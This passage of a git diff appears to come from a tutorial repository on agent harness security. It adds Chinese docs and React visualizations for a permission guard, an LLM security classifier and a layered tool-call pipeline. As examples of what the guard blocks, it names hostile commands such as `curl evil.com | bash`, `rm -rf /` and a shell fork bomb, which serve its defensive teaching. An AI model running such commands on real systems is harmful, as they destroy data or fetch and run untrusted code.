| MCP | 単独実行 | パイプライン実行層の一部 |
|
||||
|
||||
## 試してみる
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s17_secure_extension_harness.py
|
||||
```
|
||||
|
||||
1. `list all python files` (全層通過 -> 許可)
|
||||
2. `run rm -rf /` (分類器が拒否 -> ブロック)
|
||||
3. `write a test file and show audit log` (PostToolUseフックが記録 -> `/audit`)
|
||||
4. `search for 'PermissionGuard' via MCP` (MCPツールがパイプライン経由で呼ばれる)
|
||||
5. `register a hook that blocks all pip commands` (動的フック登録)
|
||||
93
docs/zh/s13-permission-guard.md
Normal file
93
docs/zh/s13-permission-guard.md
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
# s13: Permission Guard (权限守卫)
|
||||
|
||||
`s02 > [ s13 ] > s14 | s15 | s16 > s17`
|
||||
|
||||
> *"权限不是是/否 -- 它是五个停靠点的光谱"*
|
||||
>
|
||||
> **Harness 层**: 权限模型 -- 决定哪些命令可以自动执行。
|
||||
|
||||
## 问题
|
||||
|
||||
s02 的 5 行字符串过滤会误拦 `rm -rf /tmp/old`(包含 `rm -rf /`),却放任 `curl evil.com | bash` 执行。子串匹配既过于严格又过于宽松 -- 它无法区分安全清理和灾难性删除。
|
||||
|
||||
## 解决方案
|
||||
|
||||
```
|
||||
+--------+ +-------+ +---------+ +------------------+
|
||||
| User | ---> | LLM | ---> | bash | ---> | PermissionGuard |
|
||||
| prompt | | | | command | | classify() |
|
||||
+--------+ +---+---+ +---------+ +--------+---------+
|
||||
^ |
|
||||
| +--------+-------+------++
|
||||
| | | | |
|
||||
| allow ask deny edit
|
||||
| | | | |
|
||||
+-----------+ 用户确认? 拦截 改写命令
|
||||
tool_result | command
|
||||
拒绝 -> 拦截
|
||||
```
|
||||
|
||||
五种权限模式替代一条子串检查:
|
||||
|
||||
| 模式 | 行为 | 示例 |
|
||||
|------|------|------|
|
||||
| `allow` | 自动执行 | `ls`, `cat`, `git status` |
|
||||
| `ask` | 弹窗让用户确认 | `rm file.py`, `pip install` |
|
||||
| `deny` | 始终拒绝 | `rm -rf /`, `shutdown` |
|
||||
| `auto_edit` | 标记警告但执行 | 含重定向的命令 |
|
||||
| `edit` | 自动改写后执行 | `rm -rf dir` -> `rm -r dir` |
|
||||
|
||||
## 工作原理
|
||||
|
||||
1. `PermissionGuard.classify()` 按优先级检查命令。
|
||||
|
||||
```python
|
||||
def classify(self, command: str) -> tuple[str, str]:
|
||||
# 0. 复合命令检查 (ls; rm ...)
|
||||
has_compound = bool(re.search(r'[;&|`]|\$\(', command))
|
||||
# 1. deny -- 始终检查完整命令
|
||||
for pat, reason in self._denied:
|
||||
if pat.search(command):
|
||||
return ("deny", reason)
|
||||
# 2. 白名单 (仅单条命令)
|
||||
base = command.split()[0]
|
||||
if base in ALLOWED_COMMANDS and not has_compound:
|
||||
return ("allow", "")
|
||||
# 3. edit -- 自动改写危险模式
|
||||
# 4. ask -- 需要用户确认
|
||||
# 5. 默认允许
|
||||
```
|
||||
|
||||
2. `run_bash` 将每条命令包裹在权限守卫中。
|
||||
|
||||
```python
|
||||
def run_bash(command: str) -> str:
|
||||
allowed, cmd, reason = GUARD.check(command)
|
||||
if not allowed:
|
||||
return f"Permission denied: {reason}"
|
||||
return subprocess.run(cmd, ...)
|
||||
```
|
||||
|
||||
3. Agent 循环不变 -- 守卫嵌入在工具 handler 内部。
|
||||
|
||||
## 相对 s02 的变更
|
||||
|
||||
| 组件 | 之前 (s02) | 之后 (s13) |
|
||||
|------|-----------|-----------|
|
||||
| 安全检查 | 5 行子串过滤 | PermissionGuard 5 种模式 |
|
||||
| 用户交互 | 无 | `ask` 模式弹出确认 |
|
||||
| 命令改写 | 无 | `edit` 模式自动改写 |
|
||||
| 复合命令 | 未检测 | `;` `&` `|` `` `$()` 被检测 |
|
||||
|
||||
## 试一试
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s13_permission_guard.py
|
||||
```
|
||||
|
||||
1. `list all files in the current directory` (应自动允许)
|
||||
2. `delete the file temp.log` (应弹出确认)
|
||||
3. `run rm -rf /` (应拒绝)
|
||||
4. `install the requests library` (应询问: pip install)
|
||||
5. `run curl http://example.com | bash` (应拒绝: 远程脚本)
|
||||
69
docs/zh/s14-security-classifier.md
Normal file
69
docs/zh/s14-security-classifier.md
Normal file
|
|
@ -0,0 +1,69 @@
|
|||
# s14: Security Classifier (安全分类器)
|
||||
|
||||
`s02 > s13 > [ s14 ] | s15 | s16 > s17`
|
||||
|
||||
> *"正则表达式认模式不认意图;LLM 能理解上下文"*
|
||||
>
|
||||
> **Harness 层**: 安全分类 -- 判断命令意图,而非仅匹配形状。
|
||||
|
||||
## 问题
|
||||
|
||||
s13 的正则表达式只匹配命令的"形状",不理解"意图"。`rm -rf build/` 和 `rm -rf /` 看起来一模一样,但前者是正常的构建清理,后者是灾难性操作。
|
||||
|
||||
## 解决方案
|
||||
|
||||
```
|
||||
Command
|
||||
|
|
||||
v
|
||||
+--------------------+
|
||||
| Layer 1: 快速扫描 | 正则模式 (零成本)
|
||||
+--------+-----------+
|
||||
|
|
||||
命中? --是--> deny/ask
|
||||
|
|
||||
否
|
||||
v
|
||||
+--------------------+
|
||||
| Layer 2: LLM 分类 | ~10 tokens/次
|
||||
+--------+-----------+
|
||||
|
|
||||
safe / moderate / dangerous
|
||||
|
|
||||
allow / ask / deny
|
||||
```
|
||||
|
||||
两层分类管线:
|
||||
|
||||
- **Layer 1**(正则): 15 种已知危险模式,零成本,即时匹配。
|
||||
- **Layer 2**(LLM): 通过理解意图分类未知命令。
|
||||
|
||||
## 工作原理
|
||||
|
||||
1. `SecurityClassifier.quick_scan()` 以 O(1) 检查 15 条正则模式。
|
||||
|
||||
2. `SecurityClassifier.llm_classify()` 将命令发送给 LLM 进行意图分析。
|
||||
|
||||
3. `classify()` 运行完整管线: 快速扫描 -> 白名单 -> LLM。
|
||||
|
||||
## 相对 s13 的变更
|
||||
|
||||
| 组件 | 之前 (s13) | 之后 (s14) |
|
||||
|------|-----------|-----------|
|
||||
| 分类方式 | 仅正则模式匹配 | 正则快筛 + LLM 分类 |
|
||||
| 未知命令 | 默认 allow | LLM 判断 safe/moderate/dangerous |
|
||||
| 误判率 | 高(`rm -rf build/` 被拦) | 低(LLM 理解意图) |
|
||||
| 成本 | 零 | 白名单零成本 + LLM ~10 tokens/次 |
|
||||
|
||||
## 试一试
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s14_security_classifier.py
|
||||
```
|
||||
|
||||
1. `delete the build/ directory` (LLM 应判断为 moderate -> ask)
|
||||
2. `list all python files` (白名单 -> allow)
|
||||
3. `run git push --force origin main` (正则模式 -> deny)
|
||||
4. `run pip install numpy` (LLM 应判断为 moderate -> ask)
|
||||
5. `create a new file called test.py` (LLM 应判断为 safe -> allow)
|
||||
81
docs/zh/s17-secure-extension-harness.md
Normal file
81
docs/zh/s17-secure-extension-harness.md
Normal file
|
|
@ -0,0 +1,81 @@
|
|||
# s17: Secure Extension Harness (安全扩展总成)
|
||||
|
||||
`s02 > s13 > s14 | s15 | s16 > [ s17 ]`
|
||||
|
||||
> *"生产级 Harness 的核心不是功能多,而是各层职责清晰"*
|
||||
>
|
||||
> **Harness 层**: 安全管线 -- 将所有防御层组合为一条执行路径。
|
||||
|
||||
## 问题
|
||||
|
||||
s13-s16 各自是一个能独立运行的 Agent。真实系统需要所有层在一条执行管线中协同工作。问题在于:如何组合而不冲突?
|
||||
|
||||
## 解决方案
|
||||
|
||||
```
|
||||
LLM 调用工具
|
||||
|
|
||||
v
|
||||
+---------------------+
|
||||
| [1] Pre-tool Hook | --block--> 返回错误
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [2] 分类器 | --deny---> 返回错误
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [3] 权限检查 | --deny---> 返回错误
|
||||
| | --ask---> 用户确认?
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [4] 执行 | 内建 handler 或 MCP
|
||||
+----------+----------+
|
||||
v
|
||||
+---------------------+
|
||||
| [5] Post-tool Hook | 观察 / 日志
|
||||
+----------+----------+
|
||||
|
|
||||
v
|
||||
返回结果
|
||||
```
|
||||
|
||||
每一层只回答一个问题:
|
||||
|
||||
| 层 | 问题 | 来源 |
|
||||
|----|------|------|
|
||||
| Hook | "这个动作需要被拦截吗?" | s15 |
|
||||
| 分类器 | "这个命令的意图是什么?" | s14 |
|
||||
| 权限 | "这个意图被允许吗?" | s13 |
|
||||
| 执行 | "执行并返回结果" | s02 + s16 |
|
||||
|
||||
## 工作原理
|
||||
|
||||
1. `execute_tool()` 对每次工具调用运行 5 层管线。
|
||||
|
||||
2. 每层独立 -- 移除任何一层,其他层不受影响。
|
||||
|
||||
3. REPL 命令: `/security`, `/hooks`, `/mcp`, `/audit`。
|
||||
|
||||
## 相对 s16 的变更
|
||||
|
||||
| 组件 | 之前 (s13-s16 独立) | 之后 (s17) |
|
||||
|------|-------------------|-----------|
|
||||
| 安全管线 | 各章独立运行 | 统一 `execute_tool` 管线 |
|
||||
| 分类器 | 独立运行 | 嵌入 Hook -> Classify -> Permission 流程 |
|
||||
| Hooks | 独立运行 | 作为管线第一层和最后一层 |
|
||||
| MCP | 独立运行 | 作为管线执行层的一部分 |
|
||||
|
||||
## 试一试
|
||||
|
||||
```sh
|
||||
cd learn-claude-code
|
||||
python agents/s17_secure_extension_harness.py
|
||||
```
|
||||
|
||||
1. `list all python files` (所有层通过 -> allow)
|
||||
2. `run rm -rf /` (分类器拒绝 -> 被拦截)
|
||||
3. `write a test file and show audit log` (PostToolUse hook 记录 -> `/audit`)
|
||||
4. `search for 'PermissionGuard' via MCP` (MCP 工具通过管线调用)
|
||||
5. `register a hook that blocks all pip commands` (动态 hook 注册)
|
||||
|
|
@ -21,23 +21,56 @@ function getNodeCenter(node: FlowNode): { cx: number; cy: number } {
|
|||
return { cx: node.x, cy: node.y };
|
||||
}
|
||||
|
||||
const LOOP_LX = 20;
|
||||
const LOOP_PAD = 15;
|
||||
|
||||
function isLoopBack(from: FlowNode, to: FlowNode): boolean {
|
||||
return to.y < from.y - 100;
|
||||
}
|
||||
|
||||
function getEdgePath(from: FlowNode, to: FlowNode): string {
|
||||
const { cx: x1, cy: y1 } = getNodeCenter(from);
|
||||
const { cx: x2, cy: y2 } = getNodeCenter(to);
|
||||
|
||||
const halfH = from.type === "decision" ? DIAMOND_SIZE / 2 : NODE_HEIGHT / 2;
|
||||
const x1 = from.x, y1 = from.y, x2 = to.x, y2 = to.y;
|
||||
const halfHFrom = from.type === "decision" ? DIAMOND_SIZE / 2 : NODE_HEIGHT / 2;
|
||||
const halfHTo = to.type === "decision" ? DIAMOND_SIZE / 2 : NODE_HEIGHT / 2;
|
||||
const halfWFrom = from.type === "decision" ? DIAMOND_SIZE / 2 : NODE_WIDTH / 2;
|
||||
const halfWTo = to.type === "decision" ? DIAMOND_SIZE / 2 : NODE_WIDTH / 2;
|
||||
|
||||
// Loop-back: route along left side
|
||||
if (isLoopBack(from, to)) {
|
||||
const startY = y1 + halfHFrom;
|
||||
const endY = y2 - halfHTo;
|
||||
return `M ${x1} ${startY} L ${x1} ${startY + LOOP_PAD} L ${LOOP_LX} ${startY + LOOP_PAD} L ${LOOP_LX} ${endY - LOOP_PAD} L ${x2} ${endY - LOOP_PAD} L ${x2} ${endY}`;
|
||||
}
|
||||
|
||||
// Same column: vertical
|
||||
if (Math.abs(x1 - x2) < 10) {
|
||||
const startY = y1 + halfH;
|
||||
const startY = y1 + halfHFrom;
|
||||
const endY = y2 - halfHTo;
|
||||
return `M ${x1} ${startY} L ${x2} ${endY}`;
|
||||
}
|
||||
|
||||
const startY = y1 + halfH;
|
||||
// Same row: horizontal side-to-side
|
||||
if (Math.abs(y1 - y2) < NODE_HEIGHT) {
|
||||
const midY = (y1 + y2) / 2;
|
||||
const sx = x1 < x2 ? x1 + halfWFrom : x1 - halfWFrom;
|
||||
const ex = x1 < x2 ? x2 - halfWTo : x2 + halfWTo;
|
||||
return `M ${sx} ${midY} L ${ex} ${midY}`;
|
||||
}
|
||||
|
||||
// Different rows & columns: use bezier curves instead of L-shapes
|
||||
// Curves from the same node naturally separate, avoiding overlap
|
||||
const startY = y1 + halfHFrom;
|
||||
const endY = y2 - halfHTo;
|
||||
const midY = (startY + endY) / 2;
|
||||
return `M ${x1} ${startY} L ${x1} ${midY} L ${x2} ${midY} L ${x2} ${endY}`;
|
||||
const gap = endY - startY;
|
||||
|
||||
if (gap > 30) {
|
||||
const midY = (startY + endY) / 2;
|
||||
return `M ${x1} ${startY} C ${x1} ${midY}, ${x2} ${midY}, ${x2} ${endY}`;
|
||||
}
|
||||
|
||||
// Tight gap or going up: curve below then across
|
||||
const routeY = Math.max(startY, y2 + halfHTo) + 20;
|
||||
return `M ${x1} ${startY} C ${x1} ${routeY}, ${x2} ${routeY}, ${x2} ${endY}`;
|
||||
}
|
||||
|
||||
function NodeShape({ node }: { node: FlowNode }) {
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ const LAYER_DOT_BG: Record<string, string> = {
|
|||
memory: "bg-purple-500",
|
||||
concurrency: "bg-amber-500",
|
||||
collaboration: "bg-red-500",
|
||||
security: "bg-cyan-500",
|
||||
};
|
||||
|
||||
export function Sidebar() {
|
||||
|
|
|
|||
|
|
@ -21,6 +21,9 @@ const scenarioModules: Record<string, () => Promise<{ default: Scenario }>> = {
|
|||
s10: () => import("@/data/scenarios/s10.json") as Promise<{ default: Scenario }>,
|
||||
s11: () => import("@/data/scenarios/s11.json") as Promise<{ default: Scenario }>,
|
||||
s12: () => import("@/data/scenarios/s12.json") as Promise<{ default: Scenario }>,
|
||||
s13: () => import("@/data/scenarios/s13.json") as Promise<{ default: Scenario }>,
|
||||
s14: () => import("@/data/scenarios/s14.json") as Promise<{ default: Scenario }>,
|
||||
s17: () => import("@/data/scenarios/s17.json") as Promise<{ default: Scenario }>,
|
||||
};
|
||||
|
||||
interface AgentLoopSimulatorProps {
|
||||
|
|
|
|||
|
|
@ -3,7 +3,7 @@
|
|||
import { motion } from "framer-motion";
|
||||
import { cn } from "@/lib/utils";
|
||||
import type { SimStep } from "@/types/agent-data";
|
||||
import { User, Bot, Terminal, ArrowRight, AlertCircle } from "lucide-react";
|
||||
import { User, Bot, Terminal, ArrowRight, AlertCircle, Shield, Zap, Search } from "lucide-react";
|
||||
|
||||
interface SimulatorMessageProps {
|
||||
step: SimStep;
|
||||
|
|
@ -44,6 +44,24 @@ const TYPE_CONFIG: Record<
|
|||
bgClass: "bg-purple-50 dark:bg-purple-950/30",
|
||||
borderClass: "border-purple-200 dark:border-purple-800",
|
||||
},
|
||||
permission_check: {
|
||||
icon: Shield,
|
||||
label: "Permission",
|
||||
bgClass: "bg-yellow-50 dark:bg-yellow-950/30",
|
||||
borderClass: "border-yellow-200 dark:border-yellow-800",
|
||||
},
|
||||
classifier_check: {
|
||||
icon: Search,
|
||||
label: "Classifier",
|
||||
bgClass: "bg-orange-50 dark:bg-orange-950/30",
|
||||
borderClass: "border-orange-200 dark:border-orange-800",
|
||||
},
|
||||
hook_fire: {
|
||||
icon: Zap,
|
||||
label: "Hook",
|
||||
bgClass: "bg-cyan-50 dark:bg-cyan-950/30",
|
||||
borderClass: "border-cyan-200 dark:border-cyan-800",
|
||||
},
|
||||
};
|
||||
|
||||
export function SimulatorMessage({ step, index }: SimulatorMessageProps) {
|
||||
|
|
@ -77,7 +95,7 @@ export function SimulatorMessage({ step, index }: SimulatorMessageProps) {
|
|||
<pre className="overflow-x-auto whitespace-pre-wrap rounded bg-zinc-900 p-2.5 font-mono text-xs leading-relaxed text-zinc-100 dark:bg-zinc-950">
|
||||
{step.content || "(empty)"}
|
||||
</pre>
|
||||
) : step.type === "system_event" ? (
|
||||
) : step.type === "system_event" || step.type === "permission_check" || step.type === "classifier_check" || step.type === "hook_fire" ? (
|
||||
<pre className="overflow-x-auto whitespace-pre-wrap rounded bg-purple-900/80 p-2.5 font-mono text-xs leading-relaxed text-purple-100 dark:bg-purple-950">
|
||||
{step.content}
|
||||
</pre>
|
||||
|
|
|
|||
|
|
@ -11,6 +11,8 @@ const LAYER_COLORS = {
|
|||
"bg-amber-100 text-amber-800 dark:bg-amber-900/30 dark:text-amber-300",
|
||||
collaboration:
|
||||
"bg-red-100 text-red-800 dark:bg-red-900/30 dark:text-red-300",
|
||||
security:
|
||||
"bg-cyan-100 text-cyan-800 dark:bg-cyan-900/30 dark:text-cyan-300",
|
||||
} as const;
|
||||
|
||||
interface BadgeProps {
|
||||
|
|
|
|||
|
|
@ -19,6 +19,9 @@ const visualizations: Record<
|
|||
s10: lazy(() => import("./s10-team-protocols")),
|
||||
s11: lazy(() => import("./s11-autonomous-agents")),
|
||||
s12: lazy(() => import("./s12-worktree-task-isolation")),
|
||||
s13: lazy(() => import("./s13-permission-guard")),
|
||||
s14: lazy(() => import("./s14-security-classifier")),
|
||||
s17: lazy(() => import("./s17-secure-extension-harness")),
|
||||
};
|
||||
|
||||
export function SessionVisualization({ version }: { version: string }) {
|
||||
|
|
|
|||
314
web/src/components/visualizations/s13-permission-guard.tsx
Normal file
314
web/src/components/visualizations/s13-permission-guard.tsx
Normal file
|
|
@ -0,0 +1,314 @@
|
|||
"use client";
|
||||
|
||||
import { motion, AnimatePresence } from "framer-motion";
|
||||
import { useSteppedVisualization } from "@/hooks/useSteppedVisualization";
|
||||
import { StepControls } from "@/components/visualizations/shared/step-controls";
|
||||
import { useSvgPalette } from "@/hooks/useDarkMode";
|
||||
|
||||
const MODES = [
|
||||
{ name: "allow", label: "Allow", color: "#10b981", darkLabel: "Auto-approve" },
|
||||
{ name: "deny", label: "Deny", color: "#ef4444", darkLabel: "Block" },
|
||||
{ name: "ask", label: "Ask", color: "#f59e0b", darkLabel: "User prompt" },
|
||||
{ name: "auto_edit", label: "Auto Edit", color: "#8b5cf6", darkLabel: "Rewrite" },
|
||||
{ name: "edit", label: "Edit", color: "#6366f1", darkLabel: "Suggest edit" },
|
||||
];
|
||||
|
||||
const STEP_INFO = [
|
||||
{ title: "Permission Spectrum", desc: "Five modes replace the binary allow/deny. Each mode handles a different risk level." },
|
||||
{ title: "Allow: Safe Commands", desc: "ls, cat, git status -- well-known safe commands bypass the prompt and run immediately." },
|
||||
{ title: "Deny: Dangerous Patterns", desc: "rm -rf /, :(){ :|:& };: -- catastrophic patterns are blocked unconditionally." },
|
||||
{ title: "Ask: User Confirmation", desc: "pip install, npm publish -- commands that could have side effects get escalated to the user." },
|
||||
{ title: "Edit: Auto-Rewrite", desc: "rm -rf build/ becomes rm -r build/ -- the force flag is removed without blocking the operation." },
|
||||
{ title: "Compound Detection", desc: "ls; rm -rf / -- shell metacharacters (; & | `) trigger a block even if the first token is whitelisted." },
|
||||
];
|
||||
|
||||
const COMMANDS_PER_STEP: (string | null)[] = [
|
||||
null,
|
||||
"ls -la",
|
||||
"rm -rf /",
|
||||
"pip install requests",
|
||||
"rm -rf build/",
|
||||
"ls; rm -rf /",
|
||||
];
|
||||
|
||||
const ACTIVE_MODE_PER_STEP: number[] = [-1, 0, 1, 2, 3, 1];
|
||||
|
||||
const SVG_W = 620;
|
||||
const SVG_H = 340;
|
||||
const GUARD_X = SVG_W / 2;
|
||||
const GUARD_Y = 80;
|
||||
const GUARD_W = 180;
|
||||
const GUARD_H = 48;
|
||||
const CARD_Y = 280;
|
||||
const CARD_W = 100;
|
||||
const CARD_H = 52;
|
||||
|
||||
function getModeX(i: number): number {
|
||||
const gap = 16;
|
||||
const total = MODES.length * CARD_W + (MODES.length - 1) * gap;
|
||||
const start = (SVG_W - total) / 2;
|
||||
return start + i * (CARD_W + gap) + CARD_W / 2;
|
||||
}
|
||||
|
||||
export default function PermissionGuard({ title }: { title?: string }) {
|
||||
const {
|
||||
currentStep,
|
||||
totalSteps,
|
||||
next,
|
||||
prev,
|
||||
reset,
|
||||
isPlaying,
|
||||
toggleAutoPlay,
|
||||
} = useSteppedVisualization({ totalSteps: STEP_INFO.length, autoPlayInterval: 2500 });
|
||||
|
||||
const palette = useSvgPalette();
|
||||
const activeMode = ACTIVE_MODE_PER_STEP[currentStep];
|
||||
const command = COMMANDS_PER_STEP[currentStep];
|
||||
const stepInfo = STEP_INFO[currentStep];
|
||||
|
||||
const rewritten = currentStep === 4 ? "rm -r build/" : null;
|
||||
const isCompound = currentStep === 5;
|
||||
|
||||
return (
|
||||
<section className="min-h-[500px] space-y-4">
|
||||
<h2 className="text-xl font-semibold text-zinc-900 dark:text-zinc-100">
|
||||
{title || "Permission Guard: Five-Mode Classification"}
|
||||
</h2>
|
||||
|
||||
<div className="rounded-lg border border-zinc-200 bg-white p-4 dark:border-zinc-700 dark:bg-zinc-900">
|
||||
{/* Command input display */}
|
||||
<div className="mb-4 flex min-h-[32px] items-center gap-2">
|
||||
<span className="shrink-0 text-xs font-medium text-zinc-500 dark:text-zinc-400">
|
||||
Command:
|
||||
</span>
|
||||
<AnimatePresence mode="wait">
|
||||
{command && (
|
||||
<motion.code
|
||||
key={command}
|
||||
initial={{ opacity: 0, y: -8 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
exit={{ opacity: 0, y: 8 }}
|
||||
transition={{ duration: 0.3 }}
|
||||
className="rounded bg-zinc-100 px-2.5 py-1 font-mono text-xs font-medium text-zinc-800 dark:bg-zinc-800 dark:text-zinc-200"
|
||||
>
|
||||
{command}
|
||||
</motion.code>
|
||||
)}
|
||||
{!command && (
|
||||
<motion.span
|
||||
key="waiting"
|
||||
initial={{ opacity: 0 }}
|
||||
animate={{ opacity: 0.6 }}
|
||||
className="text-xs text-zinc-400 dark:text-zinc-600"
|
||||
>
|
||||
waiting for command...
|
||||
</motion.span>
|
||||
)}
|
||||
</AnimatePresence>
|
||||
{rewritten && (
|
||||
<motion.span
|
||||
initial={{ opacity: 0, x: -10 }}
|
||||
animate={{ opacity: 1, x: 0 }}
|
||||
className="text-xs text-emerald-600 dark:text-emerald-400"
|
||||
>
|
||||
→ {rewritten}
|
||||
</motion.span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* SVG diagram */}
|
||||
<svg
|
||||
viewBox={`0 0 ${SVG_W} ${SVG_H}`}
|
||||
className="w-full rounded-md border border-zinc-100 bg-zinc-50 dark:border-zinc-800 dark:bg-zinc-950"
|
||||
style={{ minHeight: 260 }}
|
||||
>
|
||||
<defs>
|
||||
<filter id="guard-glow">
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="4" floodColor="#3b82f6" floodOpacity="0.6" />
|
||||
</filter>
|
||||
{MODES.map((m) => (
|
||||
<filter key={`glow-${m.name}`} id={`glow-${m.name}`}>
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="3" floodColor={m.color} floodOpacity="0.6" />
|
||||
</filter>
|
||||
))}
|
||||
<marker id="pg-arrow" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto">
|
||||
<polygon points="0 0, 8 3, 0 6" fill={palette.activeEdgeStroke} />
|
||||
</marker>
|
||||
<marker id="pg-arrow-dim" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto">
|
||||
<polygon points="0 0, 8 3, 0 6" fill={palette.arrowFill} />
|
||||
</marker>
|
||||
</defs>
|
||||
|
||||
{/* PermissionGuard classifier box */}
|
||||
<motion.rect
|
||||
x={GUARD_X - GUARD_W / 2}
|
||||
y={GUARD_Y - GUARD_H / 2}
|
||||
width={GUARD_W}
|
||||
height={GUARD_H}
|
||||
rx={10}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: currentStep > 0 ? palette.activeNodeFill : palette.nodeFill,
|
||||
stroke: currentStep > 0 ? palette.activeNodeStroke : palette.nodeStroke,
|
||||
}}
|
||||
filter={currentStep > 0 ? "url(#guard-glow)" : "none"}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={GUARD_X}
|
||||
y={GUARD_Y + 1}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={13}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{ fill: currentStep > 0 ? palette.activeNodeText : palette.nodeText }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
classify(cmd)
|
||||
</motion.text>
|
||||
|
||||
{/* Compound detection warning */}
|
||||
{isCompound && (
|
||||
<motion.g initial={{ opacity: 0, scale: 0.8 }} animate={{ opacity: 1, scale: 1 }} transition={{ delay: 0.2 }}>
|
||||
<rect
|
||||
x={GUARD_X + GUARD_W / 2 + 12}
|
||||
y={GUARD_Y - 18}
|
||||
width={120}
|
||||
height={36}
|
||||
rx={6}
|
||||
fill="#fef2f2"
|
||||
stroke="#ef4444"
|
||||
strokeWidth={1.5}
|
||||
/>
|
||||
<text
|
||||
x={GUARD_X + GUARD_W / 2 + 72}
|
||||
y={GUARD_Y - 4}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={9}
|
||||
fontWeight={600}
|
||||
fill="#dc2626"
|
||||
fontFamily="monospace"
|
||||
>
|
||||
metachar: ;
|
||||
</text>
|
||||
<text
|
||||
x={GUARD_X + GUARD_W / 2 + 72}
|
||||
y={GUARD_Y + 10}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={8}
|
||||
fill="#dc2626"
|
||||
>
|
||||
compound detected
|
||||
</text>
|
||||
</motion.g>
|
||||
)}
|
||||
|
||||
{/* Connection lines */}
|
||||
{MODES.map((m, i) => {
|
||||
const modeX = getModeX(i);
|
||||
const isActive = i === activeMode;
|
||||
return (
|
||||
<motion.line
|
||||
key={`line-${m.name}`}
|
||||
x1={GUARD_X}
|
||||
y1={GUARD_Y + GUARD_H / 2}
|
||||
x2={modeX}
|
||||
y2={CARD_Y - CARD_H / 2}
|
||||
strokeWidth={isActive ? 2.5 : 1.5}
|
||||
markerEnd={isActive ? "url(#pg-arrow)" : "url(#pg-arrow-dim)"}
|
||||
animate={{
|
||||
stroke: isActive ? m.color : palette.edgeStroke,
|
||||
strokeWidth: isActive ? 2.5 : 1.5,
|
||||
}}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
|
||||
{/* Mode cards */}
|
||||
{MODES.map((m, i) => {
|
||||
const modeX = getModeX(i);
|
||||
const isActive = i === activeMode;
|
||||
return (
|
||||
<g key={m.name}>
|
||||
<motion.rect
|
||||
x={modeX - CARD_W / 2}
|
||||
y={CARD_Y - CARD_H / 2}
|
||||
width={CARD_W}
|
||||
height={CARD_H}
|
||||
rx={8}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: isActive ? m.color : palette.nodeFill,
|
||||
stroke: isActive ? m.color : palette.nodeStroke,
|
||||
}}
|
||||
filter={isActive ? `url(#glow-${m.name})` : "none"}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={modeX}
|
||||
y={CARD_Y - 6}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={11}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{ fill: isActive ? "#ffffff" : palette.nodeText }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
{m.label}
|
||||
</motion.text>
|
||||
<motion.text
|
||||
x={modeX}
|
||||
y={CARD_Y + 12}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={8}
|
||||
fontFamily="sans-serif"
|
||||
animate={{ fill: isActive ? "rgba(255,255,255,0.8)" : palette.labelFill }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
{m.darkLabel}
|
||||
</motion.text>
|
||||
</g>
|
||||
);
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Code snippet */}
|
||||
<div className="mt-3 rounded-md bg-zinc-100 px-3 py-2 dark:bg-zinc-800">
|
||||
<code className="block font-mono text-[11px] leading-relaxed text-zinc-600 dark:text-zinc-300">
|
||||
<span className="text-blue-600 dark:text-blue-400">def</span>{" "}
|
||||
<span className="text-emerald-600 dark:text-emerald-400">classify</span>(cmd):
|
||||
{"\n "}
|
||||
<span className="text-zinc-500">{"# "}</span>
|
||||
{currentStep === 5
|
||||
? "if has_metacharacters(cmd): → deny"
|
||||
: currentStep === 4
|
||||
? "if matches(edit_rules): → edit (rewrite)"
|
||||
: currentStep === 2
|
||||
? "if matches(denied): → deny"
|
||||
: currentStep === 1
|
||||
? "if in whitelist: → allow"
|
||||
: "return mode, reason"}
|
||||
</code>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<StepControls
|
||||
currentStep={currentStep}
|
||||
totalSteps={totalSteps}
|
||||
onPrev={prev}
|
||||
onNext={next}
|
||||
onReset={reset}
|
||||
isPlaying={isPlaying}
|
||||
onToggleAutoPlay={toggleAutoPlay}
|
||||
stepTitle={stepInfo.title}
|
||||
stepDescription={stepInfo.desc}
|
||||
/>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
413
web/src/components/visualizations/s14-security-classifier.tsx
Normal file
413
web/src/components/visualizations/s14-security-classifier.tsx
Normal file
|
|
@ -0,0 +1,413 @@
|
|||
"use client";
|
||||
|
||||
import { motion, AnimatePresence } from "framer-motion";
|
||||
import { useSteppedVisualization } from "@/hooks/useSteppedVisualization";
|
||||
import { StepControls } from "@/components/visualizations/shared/step-controls";
|
||||
import { useSvgPalette } from "@/hooks/useDarkMode";
|
||||
|
||||
const STEP_INFO = [
|
||||
